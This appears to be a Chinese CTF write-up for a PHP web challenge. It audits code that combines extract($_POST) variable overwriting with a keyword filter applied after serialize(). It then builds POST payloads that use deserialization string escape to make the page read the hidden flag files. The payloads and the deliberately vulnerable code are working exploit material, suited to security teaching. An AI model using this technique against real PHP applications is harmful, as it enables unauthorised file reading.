题解
题目
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
审计一下,提取一下代码主体
$function = @$_GET['f'];
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
$function
的值默认为highlight_file
查看phpinfo
界面,浏览界面发现题目想给的信息,读取 d0g3_f1ag.php
文件
攻击点
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
看到这里,最后的目的明确了要使$userinfo['img']
的值为d0g3_f1ag.php
的base64解密形式也就是ZDBnM19mMWFnLnBocA==
继续分析$serialize_info
关键代码
$serialize_info = filter(serialize($_SESSION));
序列化$_SESSION
经过filter
函数处理存入$serialize_info
,最后反序列化出数据
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
filter
函数就是将传入的字符串中的'php','flag','php5','php4','fl1g'
置换为空
这里有很明显的php反序列化字符串的增多和减少造成的字符串逃逸特征
关于php反序列化字符串逃逸
的问题这里不在赘述
接着分析代码中处理$_SESSION
的代码
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//变量覆盖
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
关键在extract
可进行变量覆盖
extract($_POST);//变量覆盖
我们在本地进行测试
<?php
highlight_file(__FILE__);
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>
post
传入_SESSION['flag']=123
,看下效果
发现传入_SESSION
可覆盖$_SESSION
,并且将会覆盖原$_SESSION
的所有变量
这时的利用手段就清晰了,通过变量覆盖,我们可以控制session变量,回过头再看sesion的处理代码
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//变量覆盖
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
会发现extract
函数前对我们没影响,关键在于
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
序列化的数据一定会带有img
属性,但是只要我们通过php反序列化字符串的增多和减少使这部分数据在";}
之后即可
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
//s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";
构造逃逸符串
首先拿到需要逃逸的字符串
<?php
$_SESSION['img']=base64_encode("d0g3_f1ag.php");
echo serialize($_SESSION);
//a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然后进行尝试
$_SESSION['php']=";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
//a:2:{s:3:"php";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这里需要吃下这些字符,也就是7个字符这里用phpflag
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
//a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
payload
tips:本地测试时的\起到转义作用,防止和外部“歧义而报错,传参时不用加
_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
提示我们在/d0g3_fllllllag
,这里进行base64,字符串也为20,所以直接把原来的payload中的ZDBnM19mMWFnLnBocA==
替换即可
_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
说些什么吧!